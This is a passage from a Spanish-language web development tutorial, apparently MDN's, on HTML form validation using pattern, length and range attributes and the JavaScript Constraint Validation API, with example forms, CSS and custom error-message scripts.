+<p>En este punto, intenta cambiar el valor dentro del atributo <a href="/en-US/docs/Web/HTML/Attributes/pattern"><code>pattern</code></a> para que se vean iguales que algunos de los ejemplos vistos anteriormente, y observa que esto afecta a los valores que puedes añadir para que el valor de entrada sea válido. Intenta escribir algo por tu cuenta y mira cómo va. ¡Haz que estén relacionadas con la fruta siempre que sea posible para que tus ejemplos tengan sentido!</p>
+
+<p>Si un valor no vacío de {{HTMLElement("input")}} no coincide con el patrón de la expresión regular, <code>input</code> coincidirá con la pseudoclase {{cssxref(':invalid')}}.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Algunos tipos de elementos {{HTMLElement ("input")}} no necesitan validar una expresión regular con el atributo <a href="/en-US/docs/Web/HTML/Attributes/pattern"><code>pattern</code></a>. Especificar el tipo de correo electrónico (<code>email</code>), por ejemplo, valida el valor de las entradas con un patrón de dirección de correo electrónico bien formado o un patrón que coincida con una lista de direcciones de correo electrónico separadas por comas si tiene el atributo <a href="/en-US/docs/Web/HTML/Attributes/multiple"><code>multiple</code></a>.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: El elemento {{HTMLElement("textarea")}} no admite el atributo <a href="/en-US/docs/Web/HTML/Attributes/pattern"><code>pattern</code></a>.</p>
+</div>
+
+<h3 id="Restringir_la_longitud_de_tus_entradas">Restringir la longitud de tus entradas</h3>
+
+<p>Puedes restringir la longitud de los caracteres de todos los campos de texto creados por {{HTMLElement("input")}} o {{HTMLElement("textarea")}} utilizando los atributos <a href="/en-US/docs/Web/HTML/Attributes/minlength"><code>minlength</code></a> y <code><a href="/en-US/docs/Web/HTML/Attributes/maxlength">maxlength</a></code>. Un campo no es válido si tiene un valor y ese valor tiene menos caracteres que el valor de longitud mínima (<a href="/en-US/docs/Web/HTML/Attributes/minlength"><code>minlength</code></a>), o más que el valor de longitud máxima (<code><a href="/en-US/docs/Web/HTML/Attributes/maxlength">maxlength</a></code>).</p>
+
+<p>Los navegadores a menudo no permiten que el usuario escriba un valor más largo de lo esperado en los campos de texto. Lo que otorga una mejor experiencia de usuario que <code>maxlength</code> es proporcionar comentarios de recuento de caracteres de manera accesible y permitirles editar su contenido a un tamaño más reducido. Un ejemplo de esto es el límite de caracteres de Twitter. JavaScript, incluidas las <a href="https://github.com/mimo84/bootstrap-maxlength">soluciones que utilizan <code>maxlength</code></a>, se puede utilizar para proporcionar esta funcionalidad.</p>
+
+<h3 id="Restringir_los_valores_de_tus_entradas">Restringir los valores de tus entradas</h3>
+
+<p>Los atributos <code><a href="/en-US/docs/Web/HTML/Attributes/min">min</a></code> y <code><a href="/en-US/docs/Web/HTML/Attributes/max">max</a></code> se pueden usar para proporcionar a los campos numéricos (es decir, <code><a href="/en-US/docs/Web/HTML/Element/input/number">&lt;input type="number"&gt;</a></code>) un rango de valores válidos. El campo no será válido si contiene un valor fuera de este rango.</p>
+
+<p>Veamos otro ejemplo. Crea una nueva copia del archivo <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html">fruit-start.html</a>.</p>
+
+<p>Ahora elimina el contenido del elemento <code>&lt;body&gt;</code> y reemplázalo con lo siguiente:</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="choose"&gt;¿Prefieres un plátano o una cereza?&lt;/label&gt;
+    &lt;input type="text" id="choose" name="i_like" required minlength="6" maxlength="6"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="number"&gt;¿Cuántos te gustaría comer?&lt;/label&gt;
+    &lt;input type="number" id="number" name="amount" value="1" min="1" max="10"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Enviar&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<ul>
+ <li>Aquí verás que le hemos dado al campo de <code>text</code> unos valores <code>minlength</code> y <code>maxlength</code> de seis, que es la misma longitud que tienen el plátano y la cereza.</li>
+ <li>También le hemos dado al campo <code>number</code> un <code>min</code> de uno y un <code>max</code> de diez. Los números introducidos que queden fuera de este rango se mostrarán como no válidos; los usuarios no podrán usar las flechas de incremento/decremento para mover el valor fuera de este rango. Si el usuario introduce un número desde el teclado fuera de este rango, los datos no serán válidos. El número no es obligatorio, por lo que eliminar el valor aún dará como resultado un valor válido.</li>
+</ul>
+
+<div class="hidden">
+<pre class="brush: css notranslate">input:invalid {
+  border: 2px dashed red;
+}
+
+input:valid {
+  border: 2px solid black;
+}
+
+div {
+  margin-bottom: 10px;
+}</pre>
+</div>
+
+<p>Aquí está el ejemplo que se ejecuta en vivo:</p>
+
+<p>{{EmbedLiveSample("Restringir_los_valores_de_tus_entradas", "100%", 100)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Puedes encontrar este ejemplo en vivo en GitHub como <a href="https://mdn.github.io/learning-area/html/forms/form-validation/fruit-length.html">fruit-length.html</a> (consulta también su <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-length.html">código fuente</a>).</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: <code>&lt;input type="number"&gt;</code> (y otros tipos, como <code>range</code> y <code>date</code>) también pueden tomar un atributo <a href="/en-US/docs/Web/HTML/Attributes/step"><code>step</code></a>, que especifica en qué incremento aumenta o disminuye el valor cuando se utilizan los controles de entrada (como el botones numéricos arriba y abajo). En el ejemplo anterior no hemos incluido un atributo <code>step</code>, por lo que el valor predeterminado es <code>1</code>. Esto significa que los valores de coma flotante, como 3.2, también se mostrarán como no válidos.</p>
+</div>
+
+<h3 id="Ejemplo_completo">Ejemplo completo</h3>
+
+<p>Aquí hay un ejemplo completo que muestra el uso de las funciones de validación integradas en HTML. En primer lugar, un poco de HTML:</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;p&gt;
+    &lt;fieldset&gt;
+      &lt;legend&gt;¿Tienes carné de conducir?&lt;abbr title="Este campo es obligatorio" aria-label="required"&gt;*&lt;/abbr&gt;&lt;/legend&gt;
+      &lt;!-- Solo se puede seleccionar un botón de opción en un grupo con el mismo nombre,
+           y, por lo tanto, solo un botón de opción en un grupo con el mismo nombre que tiene marcado el atributo «requerido»
+           basta para hacer de una selección un requisito --&gt;
+      &lt;input type="radio" required name="driver" id="r1" value="yes"&gt;&lt;label for="r1"&gt;Sí&lt;/label&gt;
+      &lt;input type="radio" required name="driver" id="r2" value="no"&gt;&lt;label for="r2"&gt;No&lt;/label&gt;
+    &lt;/fieldset&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;label for="n1"&gt;¿Qué edad tienes?&lt;/label&gt;
+    &lt;!-- El atributo pattern puede actuar como una alternativa para los navegadores que
+         no implementan el tipo de entrada de número, pero admiten el atributo pattern.
+         Ten en cuenta que los navegadores que admiten el atributo pattern lo harán
+         fallar silenciosamente cuando se use con un campo numérico.
+         Su uso aquí solo actúa como una alternativa --&gt;
+     &lt;input type="number" min="12" max="120" step="1" id="n1" name="age"
+           pattern="\d+"&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;label for="t1"&gt;¿Cuál es tu fruta favorita?&lt;abbr title="Este campo es obligatorio" aria-label="required"&gt;*&lt;/abbr&gt;&lt;/label&gt;
+    &lt;input type="text" id="t1" name="fruit" list="l1" required
+           pattern="[Bb]anana|[Cc]herry|[Aa]pple|[Ss]trawberry|[Ll]emon|[Oo]range "&gt;
+    &lt;datalist id="l1"&gt;
+      &lt;option&gt;Plátano&lt;/option&gt;
+      &lt;option&gt;Cereza&lt;/option&gt;
+      &lt;option&gt;Manzana&lt;/option&gt;
+      &lt;option&gt;Fresa&lt;/option&gt;
+      &lt;option&gt;Limón&lt;/option&gt;
+      &lt;option&gt;Naranja&lt;/option&gt;
+     &lt;/datalist&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;label for="t2"&gt;¿Cuál es tu dirección de correo electrónico? &lt;/label&gt;
+    &lt;input type="email" id="t2" name="email"&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;label for="t3"&gt;Deja un mensaje&lt;/label&gt;
+    &lt;textarea id="t3" name="msg" maxlength="140" rows="5"&gt;&lt;/textarea&gt;
+  &lt;/p&gt;
+  &lt;p&gt;
+    &lt;button&gt;Enviar&lt;/button&gt;
+  &lt;/p&gt;
+&lt;/form&gt;</pre>
+
+<p>Y ahora, algo de CSS para añadir estilo al HTML:</p>
+
+<pre class="brush: css notranslate">form {
+  font: 1em sans-serif;
+  max-width: 320px;
+}
+
+p &gt; label {
+  display: block;
+}
+
+input[type="text"],
+input[type="email"],
+input[type="number"],
+textarea,
+fieldset {
+  width : 100%;
+  border: 1px solid #333;
+  box-sizing: border-box;
+}
+
+input:invalid {
+  box-shadow: 0 0 5px 1px red;
+}
+
+input:focus:invalid {
+  box-shadow: none;
+}</pre>
+
+<p>Esto se traduce de la siguiente manera:</p>
+
+<p>{{EmbedLiveSample("Ejemplo_completo", "100%", 420)}}</p>
+
+<p>Consulta <a href="/es/docs/HTML/HTML5/Validacion_de_restricciones#Atributos_relacionados_con_validaciones">Atributos relacionados con la validación</a> para obtener una lista completa de los atributos que se pueden usar para restringir los valores de entrada y los tipos de entrada que los admiten.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Puedes encontrar este ejemplo en vivo en GitHub como <a href="https://mdn.github.io/learning-area/html/forms/form-validation/full-example.html">full-example.html</a> (consulta también su <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/full-example.html">código fuente</a>).</p>
+</div>
+
+<h2 id="Validar_formularios_utilizando_JavaScript">Validar formularios utilizando JavaScript</h2>
+
+<p>Debes usar JavaScript si quieres controlar la apariencia de los mensajes de error nativos o tratar con navegadores heredados que no admiten la validación de formularios incorporados en HTML. En esta sección veremos las diferentes formas de hacer esto.</p>
+
+<h3 id="La_API_de_validación_de_restricciones">La API de validación de restricciones</h3>
+
+<p>La mayoría de los navegadores admiten la <a href="/en-US/docs/Web/API/Constraint_validation">API de validación de restricciones</a>, que consta de un conjunto de métodos y propiedades disponibles en las interfaces DOM de elementos de formulario siguientes:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/API/HTMLButtonElement">HTMLButtonElement</a></code> (representa un elemento <code><a href="/en-US/docs/Web/HTML/Element/button">&lt;button&gt;</a></code>)</li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLFieldSetElement">HTMLFieldSetElement</a></code> (representa un elemento <code><a href="/en-US/docs/Web/HTML/Element/fieldset">&lt;fieldset&gt;</a></code>)</li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLInputElement">HTMLInputElement</a></code> (representa un elemento <code><a href="/en-US/docs/Web/HTML/Element/input">&lt;input&gt;</a></code>)</li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLOutputElement">HTMLOutputElement</a></code> (representa un elemento <code><a href="/en-US/docs/Web/HTML/Element/output">&lt;output&gt;</a></code>)</li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLSelectElement">HTMLSelectElement</a></code> (representa un elemento <code><a href="/en-US/docs/Web/HTML/Element/select">&lt;select&gt;</a></code>)</li>
+ <li><code><a href="/en-US/docs/Web/API/HTMLTextAreaElement">HTMLTextAreaElement</a></code> (representa un elemento <code><a href="/en-US/docs/Web/HTML/Element/textarea">&lt;textarea&gt;</a></code>)</li>
+</ul>
+
+<p id="Constraint_validation_API_properties">La API de validación de restricciones hace que las propiedades siguientes estén disponibles en los elementos anteriores.</p>
+
+<ul>
+ <li><code>validationMessage</code>: Devuelve un mensaje localizado que describe las restricciones de validación que el control no satisface (si corresponde). Si el control no es candidato para la validación de restricciones (<code>willValidate</code> es <code>false</code>) o el valor del elemento satisface sus restricciones (es válido), esto devolverá una cadena vacía.</li>
+ <li><code>validity</code>: Devuelve un objeto <code>ValidityState</code> que contiene varias propiedades que describen el estado de validez del elemento. Puedes encontrar todos los detalles de todas las propiedades disponibles en la página de referencia {{domxref("ValidityState")}}; a continuación se enumeran algunos de los más comunes:
+  <ul>
+   <li>{{domxref("ValidityState.patternMismatch", "patternMismatch")}}: Devuelve <code>true</code> si el valor no coincide con el {{htmlattrxref("pattern", "input")}} especificado, y <code>false</code> si coincide. Si es verdadero, el elemento coincide con la pseudoclase {{cssxref(":invalid")}} de CSS.</li>
+   <li>{{domxref("ValidityState.tooLong", "tooLong")}}: Devuelve <code>true</code> si el valor es mayor que la longitud máxima especificada por el atributo {{htmlattrxref("maxlength", "input")}}, o <code>false</code> si es menor o igual al máximo. Si es verdadero, el elemento coincide con la pseudoclase {{cssxref(":invalid")}} de CSS.</li>
+   <li>{{domxref("ValidityState.tooShort", "tooShort")}}: Devuelve <code>true</code> si el valor es menor que la longitud mínima especificada por el atributo {{htmlattrxref("minlength", "input")}}, o <code>false</code> si es mayor o igual al mínmo. Si es verdadero, el elemento coincide con la pseudoclase {{cssxref(":invalid")}} de CSS.</li>
+   <li>{{domxref("ValidityState.rangeOverflow", "rangeOverflow")}}: Devuelve <code>true</code> si el valor es mayor que el máximo especificado por el atributo {{htmlattrxref("max", "input")}}, o <code>false</code> si es menor o igual que el máximo. Si es verdadero, el elemento coincide con las pseudoclases {{cssxref(":invalid")}} y {{cssxref(":out-of-range")}} de CSS.</li>
+   <li>{{domxref("ValidityState.rangeUnderflow", "rangeUnderflow")}}: Devuelve <code>true</code> si el valor es menor que el mínimo especificado por el atributo {{htmlattrxref("min", "input")}}, o <code>false</code> si es mayor o igual que el mínimo. Si es verdadero, el elemento coincide con las pseudoclases {{cssxref(":invalid")}} y {{cssxref(":out-of-range")}} de CSS.</li>
+   <li>{{domxref("ValidityState.typeMismatch", "typeMismatch")}}: Devuelve <code>true</code> si el valor no está en la sintaxis requerida (cuando {{htmlattrxref("type", "input")}} es <code>email</code> o <code>url</code>), o <code>false</code> si la sintaxis es correcta. Si es verdadero, el elemento coincide con la pseudoclase {{cssxref(":invalid")}} de CSS.</li>
+   <li><code>valid</code>: Devuelve <code>true</code> si el elemento cumple con todas sus restricciones de validación y por lo tanto se considera válido, o <code>false</code> si falla alguna restricción. Si es verdadero, el elemento coincide con la pseudoclase {{cssxref(":valid")}} de CSS; o con la pseudoclase {{cssxref(":invalid")}} de CSS de lo contrario.</li>
+   <li><code>valueMissing</code>: Devuelve <code>true</code> si el elemento tiene un atributo {{htmlattrxref("required", "input")}} pero no tiene valor, o <code>false</code> de lo contrario. Si es verdadero, el elemento coincide con la pseudoclase {{cssxref(":invalid")}} de CSS.</li>
+  </ul>
+ </li>
+ <li><code>willValidate</code>: Devuelve <code>true</code> si el elemento se valida cuando se envía el formulario; <code>false</code> de lo contrario.</li>
+</ul>
+
+<p id="Constraint_validation_API_methods">La API de validación de restricciones también pone a disposición los siguientes métodos en los elementos anteriores.</p>
+
+<ul>
+ <li><code>checkValidity()</code>: Devuelve <code>true</code> si el valor del elemento no tiene problemas de validez; <code>false</code> en caso contrario. Si el elemento no es válido, este método también activa un <a href="/es/docs/Web/API/HTMLInputElement/invalid_event">evento <code>invalid</code></a> en el elemento.</li>
+ <li><code>setCustomValidity(<em>message</em>)</code>: Añade un mensaje de error personalizado al elemento; si configuras un mensaje de error personalizado, el elemento se considera no válido y se muestra el error especificado. Esto te permite utilizar el código JavaScript para establecer un fallo de validación distinto de los ofrecidos por las restricciones estándar de validación de HTML5. El mensaje se muestra al usuario cuando se informa del problema.</li>
+</ul>
+
+<h4 id="Implementar_un_mensaje_de_error_personalizado">Implementar un mensaje de error personalizado</h4>
+
+<p>Como has visto en los ejemplos de restricciones de validación de HTML5 anteriores, cada vez que un usuario intenta enviar un formulario no válido, el navegador muestra un mensaje de error. La forma en que se muestra este mensaje depende del navegador.</p>
+
+<p>Estos mensajes automatizados tienen dos inconvenientes:</p>
+
+<ul>
+ <li>No hay una forma estándar de cambiar su aspecto con CSS.</li>
+ <li>Dependen de la configuración regional del navegador, lo que significa que puedes tener una página en un idioma pero un mensaje de error en otro idioma, como se ve en la siguiente captura de pantalla de Firefox.</li>
+</ul>
+
+<p><img alt="Ejemplo de un mensaje de error en francés en una página de Firefox en inglés" src="/files/4329/error-firefox-win7.png" style="height: 97px; width: 228px;"></p>
+
+<p>La personalización de estos mensajes de error es uno de los casos de uso más comunes de la <a href="/en-US/docs/Web/API/Constraint_validation" rel="external">API de validación de restricciones</a>. Veamos un ejemplo simple de cómo hacer esto.</p>
+
+<p>Comenzaremos con un HTML simple (siéntete libre de poner esto en un archivo HTML en blanco; usa una copia nueva de <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/fruit-start.html">fruit-start.html</a> como base, si lo deseas):</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;label for="mail"&gt;Me gustaría que me proporcionara una dirección de correo electrónico:&lt;label&gt;
+  &lt;input type="email" id="mail" name="mail"&gt;
+  &lt;button&gt;Enviar&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>Y añade a la página el JavaScript siguiente:</p>
+
+<pre class="brush: js notranslate">const email = document.getElementById("mail");
+
+email.addEventListener("input", function (event) {
+  if (email.validity.typeMismatch) {
+    email.setCustomValidity("¡Se esperaba una dirección de correo electrónico!");
+  } else {
+    email.setCustomValidity("");
+  }
+});</pre>
+
+<p>Aquí guardamos una referencia para la entrada de la dirección de correo electrónico, luego le añadimos un detector de eventos que ejecuta el código de <code>content</code> cada vez que el valor de la entrada cambia.</p>
+
+<p>Dentro del código que contiene, verificamos si la propiedad <code>validity.typeMismatch</code> de la entrada de la dirección de correo electrónico devuelve <code>true</code>, lo que significa que el valor que contiene no coincide con el patrón para una dirección de correo electrónico bien formada. Si es así, llamamos al método <a href="/es/docs/HTML/HTML5/Validacion_de_restricciones"><code>setCustomValidity()</code></a> con un mensaje personalizado. Esto hace que la entrada no sea válida, de modo que cuando intentas enviar el formulario, el envío falla y se muestra el mensaje de error personalizado.</p>
+
+<p>Si la propiedad <code>validity.typeMismatch</code> devuelve <code>false</code>, llamamos al método <code>setCustomValidity()</code> con una cadena vacía. Esto hace que la entrada sea válida, y el formulario se envía.</p>
+
+<p>Puedes probarlo a continuación:</p>
+
+<p>{{EmbedGHLiveSample("/en-US/learning-area/html/forms/form-validation/custom-error-message.html", '100%', 80)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Puede encontrar este ejemplo vivo en GitHub como <a href="https://mdn.github.io/learning-area/html/forms/form-validation/custom-error-message.html">custom-error-message.html</a> (véase también su <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/custom-error-message.html">código fuente</a>).</p>
+</div>
+
+<h4 id="Un_ejemplo_más_detallado">Un ejemplo más detallado</h4>
+
+<p>Ahora que hemos visto un ejemplo realmente sencillo, veamos cómo podemos usar esta API para construir una validación personalizada un poco más compleja.</p>
+
+<p>En primer lugar, el código HTML. Una vez más, siéntete libre de construir esto junto con nosotros:</p>
+
+<pre class="brush: html notranslate">&lt;form novalidate&gt;
+  &lt;p&gt;
+    &lt;label for="mail"&gt;
+      &lt;span&gt;Por favor, introduzca una dirección de correo electrónico: &lt;/span&gt;
+      &lt;input type="email" id="mail" name="mail" required minlength="8"&gt;
+      &lt;span class="error" aria-live="polite"&gt;&lt;/span&gt;
+    &lt;/label&gt;
+  &lt;/p&gt;
+  &lt;button&gt;Enviar&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>Este sencillo formulario usa el atributo <code><a href="/en-US/docs/Web/HTML/Attributes/novalidate">novalidate</a></code> para desactivar la validación automática del navegador; esto permite que nuestra secuencia de comandos tome control sobre la validación. Sin embargo, esto no deshabilita la compatibilidad para la API de validación de restricciones ni la aplicación de pseudoclases de CSS como {{cssxref(":valid")}}, etc. Eso significa que, aunque el navegador no verifica automáticamente la validez del formulario antes de enviar los datos, puedes hacerlo tú mismo y diseñar el formulario en consecuencia.</p>
+
+<p>Nuestra entrada para validar es <code><a href="/es/docs/Web/HTML/Elemento/input/email">&lt;input type="email"&gt;</a></code>, que es obligatoria y tiene una longitud mínima (<code>minlength</code>) de 8 caracteres. Vamos a verificar esto con nuestro propio código para que muestre un mensaje de error personalizado para cada elemento.</p>
+
+<p>Nuestro objetivo es mostrar los mensajes de error dentro de un elemento <code>&lt;span&gt;</code>. El atributo <a href="/en-US/docs/Accessibility/ARIA/ARIA_Live_Regions"><code>aria-live</code></a> se establece en ese <code>&lt;span&gt;</code> para asegurar que todo el mundo podrá ver nuestro mensaje de error personalizado, incluidos los usuarios de lectores de pantalla.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Un punto clave a tener en cuenta es que establecer el atributo <code>novalidate</code> en el formulario impide que el formulario muestre sus propios cuadros de diálogo de error, y nos permite mostrar los mensajes de error personalizados en el DOM de la manera que nosotros elijamos.</p>
+</div>
+
+<p>Ahora aplicaremos algo de CSS básico para mejorar ligeramente el aspecto del formulario y proporcionar algunos comentarios visuales cuando los datos de entrada no sean válidos:</p>
+
+<pre class="brush: css notranslate">body {
+  font: 1em sans-serif;
+  width: 200px;
+  padding: 0;
+  margin : 0 auto;
+}
+
+p * {
+  display: block;
+}
+
+input[type=email]{
+  -webkit-appearance: none;
+  appearance: none;
+
+  width: 100%;
+  border: 1px solid #333;
+  margin: 0;
+
+  font-family: inherit;
+  font-size: 90%;
+
+  box-sizing: border-box;
+}
+
+/* Este es nuestro diseño para los campos no válidos */
+input:invalid{
+  border-color: #900;
+  background-color: #FDD;
+}
+
+input:focus:invalid {
+  outline: none;
+}
+
+/* Este es el diseño para nuestros mensajes de error */
+.error {
+  width : 100%;
+  padding: 0;
+
+  font-size: 80%;
+  color: white;
+  background-color: #900;
+  border-radius: 0 0 5px 5px;
+
+  box-sizing: border-box;
+}
+
+.error.active {
+  padding: 0.3em;
+}</pre>
+
+<p>Vamos a ver el JavaScript que implementa la validación de error personalizada.</p>
+
+<pre class="brush: js notranslate">// Hay muchas formas de elegir un nodo DOM; aquí obtenemos el formulario y, a continuación, el campo de entrada
+// del correo electrónico, así como el elemento span en el que colocaremos el mensaje de error.
+const form  = document.getElementsByTagName('form')[0];
+
+const email = document.getElementById('mail');
+const emailError = document.querySelector('#mail + span.error');
+
+email.addEventListener('input', function (event) {
+  // Cada vez que el usuario escribe algo, verificamos si
+  // los campos del formulario son válidos.
+
+  if (email.validity.valid) {
+    // En caso de que haya un mensaje de error visible, si el campo
+    // es válido, eliminamos el mensaje de error.
+    emailError.innerHTML = ''; // Restablece el contenido del mensaje
+    emailError.className = 'error'; // Restablece el estado visual del mensaje
+  } else {
+    // Si todavía hay un error, muestra el error exacto
+    showError();
+  }
+});
+
+form.addEventListener('submit', function (event) {
+  // si el campo de correo electrónico es válido, dejamos que el formulario se envíe
+
+  if(!email.validity.valid) {
+    // Si no es así, mostramos un mensaje de error apropiado
+    showError();
+    // Luego evitamos que se envíe el formulario cancelando el evento
+    event.preventDefault();
+  }
+});
+
+function showError() {
+  if(email.validity.valueMissing) {
+    // Si el campo está vacío
+    // muestra el mensaje de error siguiente.
+    emailError.textContent = 'Debe introducir una dirección de correo electrónico.';
+  } else if(email.validity.typeMismatch) {
+    // Si el campo no contiene una dirección de correo electrónico
+    // muestra el mensaje de error siguiente.
+    emailError.textContent = 'El valor introducido debe ser una dirección de correo electrónico.';
+  } else if(email.validity.tooShort) {
+    // Si los datos son demasiado cortos
+    // muestra el mensaje de error siguiente.
+    emailError.textContent = 'El correo electrónico debe tener al menos ${ email.minLength } caracteres; ha introducido ${ email.value.length }.';
+  }
+
+  // Establece el estilo apropiado
+  emailError.className = 'error activo';
+}</pre>
+
+<p>Los comentarios explican las cosas bastante bien, pero de una manera muy breve:</p>
+
+<ul>
+ <li>Cada vez que cambiamos el valor de la entrada, verificamos si contiene datos válidos. Si es así, eliminamos cualquier mensaje de error que se muestre. Si los datos no son válidos, ejecutamos <code>showError()</code> para mostrar el error correspondiente.</li>
+ <li>Cada vez que intentamos enviar el formulario, verificamos nuevamente si los datos son válidos. Si es así, dejamos que envíe el formulario. Si no, ejecutamos <code>showError()</code> para mostrar el error correspondiente y detenemos el envío del formulario con <code><a href="/en-US/docs/Web/API/Event/preventDefault">preventDefault()</a></code>.</li>
+ <li>La función <code>showError()</code> usa varias propiedades de la entrada <code>validity</code> para determinar cuál es el error y luego muestra un mensaje de error según corresponda.</li>
+</ul>
+
+<p>Este es el resultado:</p>
+
+<p>{{EmbedGHLiveSample("/en-US/learning-area/html/forms/form-validation/detailed-custom-validation.html", '100%', 150)}}</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Puedes encontrar este ejemplo en vivo en GitHub como <a href="https://mdn.github.io/learning-area/html/forms/form-validation/detailed-custom-validation.html">detailed-custom-validation.html</a> (consulta también su <a href="https://github.com/mdn/learning-area/blob/master/html/forms/form-validation/detailed-custom-validation.html">código fuente</a>).</p>
+</div>
+
+<p>La API de validación de restricciones te proporciona una herramienta poderosa para manejar la validación de formularios, y te permite tener un control enorme sobre la interfaz de usuario más allá de lo que puedas hacer solo con HTML y CSS.</p>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Para obtener más información, consulta nuestra <a href="/es/docs/HTML/HTML5/Validacion_de_restricciones">guía de validación de restricciones</a> y la referencia de <a href="/en-US/docs/Web/API/Constraint_validation">API de validación de restricciones</a>.</p>
+</div>
+
+<h3 id="Validar_formularios_sin_una_API_incorporada">Validar formularios sin una API incorporada</h3>
+
+<p>En algunos casos, como la compatibilidad heredada del navegador o los <a href="/es/docs/Learn/HTML/Forms/como_crear_widgets_de_formularios_personalizados">controles personalizados</a>, no podrás o no querrás usar la API de validación de restricciones. Todavía puedes usar JavaScript para validar tu formulario, pero vas a tener que escribirlo.</p>
+
+<p>Antes de validar el formulario, hazte estas preguntas:</p>
+
+<dl>
+ <dt>¿Qué tipo de validación debería realizar?</dt>
+ <dd>Debes determinar cómo validar los datos: operaciones de cadena, conversión de tipos, expresiones regulares, etc. Tú decides.</dd>
+ <dt>¿Qué debo hacer si el formulario no se valida?</dt>
+ <dd>Esto es claramente un problema de la interfaz de usuario. Tienes que decidir cómo se comportará el formulario. ¿El formulario va a enviar los datos de todos modos? ¿Deberías resaltar los campos que dan error? ¿Deberías mostrar mensajes de error?</dd>
+ <dt>¿Cómo puedo ayudar al usuario a corregir datos no válidos?</dt>
+ <dd>Para reducir la frustración del usuario, es muy importante proporcionar tanta información útil como sea posible para guiarlo a fin de que corrija sus entradas de datos. Debes ofrecer sugerencias por adelantado para que sepan lo que se espera de ellos, así como mensajes de error claros. Si deseas profundizar en los requisitos de interfaz de usuario para la validación de formularios, aquí hay algunos artículos útiles que debes leer:
+ <ul>
+  <li>SmashingMagazine: <a href="http://uxdesign.smashingmagazine.com/2012/06/27/form-field-validation-errors-only-approach/" rel="external">Form-Field Validation: The Errors-Only Approach</a> [Validación de campo de formulario: El enfoque de solo errores]</li>
+  <li>SmashingMagazine: <a href="http://www.smashingmagazine.com/2009/07/07/web-form-validation-best-practices-and-tutorials/" rel="external">Web Form Validation: Best Practices and Tutorials </a> [Validación de formularios web: Buenas prácticas y tutoriales]</li>
+  <li>Six Revision: <a href="http://sixrevisions.com/user-interface/best-practices-for-hints-and-validation-in-web-forms/" rel="external">Best Practices for Hints and Validation in Web Forms</a> [Buenas prácticas para sugerencias y validación de formularios web]</li>
+  <li>A List Apart: <a href="http://www.alistapart.com/articles/inline-validation-in-web-forms/" rel="external">Inline Validation in Web Forms</a> [Validación en línea de formularios web]</li>
+ </ul>
+ </dd>
+</dl>
+
+<h4 id="Un_ejemplo_que_no_usa_la_API_de_validación_de_restricciones">Un ejemplo que no usa la API de validación de restricciones</h4>
+
+<p>Para ilustrar esto, mostramos una versión simplificada del ejemplo anterior que funciona con navegadores con compatibilidad heredada.</p>
+
+<p>El HTML es casi el mismo; solo hemos eliminado las funciones de validación de HTML.</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;p&gt;
+    &lt;label for="mail"&gt;
+        &lt;span&gt;Por favor, introduzca una dirección de correo electrónico: &lt;/span&gt;
+        &lt;input type="text" class="mail" id="mail" name="mail"&gt;
+        &lt;span class="error" aria-live="polite"&gt;&lt;/span&gt;
+    &lt;/label&gt;
+  &lt;/p&gt;
+  &lt;!-- Algunos navegadores con compatibilidad heredada deben tener el atributo «type»
+       establecido explícitamente en el elemento «button» de «submit»--&gt;
+  &lt;button type="submit"&gt;Enviar&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>Del mismo modo, no es necesario cambiar mucho el CSS; acabamos de convertir la pseudoclase {{cssxref(":invalid")}} de CSS en una clase real y evitamos usar el selector de atributos que no funciona en Internet Explorer 6.</p>
+
+<pre class="brush: css notranslate">body {
+  font: 1em sans-serif;
+  width: 200px;
+  padding: 0;
+  margin : 0 auto;
+}
+
+form {
+  max-width: 200px;
+}
+
+p * {
+  display: block;
+}
+
+input.mail {
+  -webkit-appearance: none;
+
+  width: 100%;
+  border: 1px solid #333;
+  margin: 0;
+
+  font-family: inherit;
+  font-size: 90%;
+
+  box-sizing: border-box;
+}
+
+/* Este es nuestro diseño para los campos no válidos */
+input.invalid{
+  border-color: #900;
+  background-color: #FDD;
+}
+
+input:focus.invalid {
+  outline: none;
+}
+
+/* Este es el diseño para nuestros mensajes de error */
+.error {
+  width : 100%;
+  padding: 0;
+
+  font-size: 80%;
+  color: white;
+  background-color: #900;
+  border-radius: 0 0 5px 5px;
+  box-sizing: border-box;
+}
+
+.error.active {
+  padding: 0.3em;
+}</pre>
+
+<p>Los grandes cambios están en el código JavaScript, que necesita hacer mucho más trabajo pesado.</p>
+
+<pre class="brush: js notranslate">// Hay menos formas de elegir un nodo DOM con navegadores antiguos
+const form  = document.getElementsByTagName('form')[0];
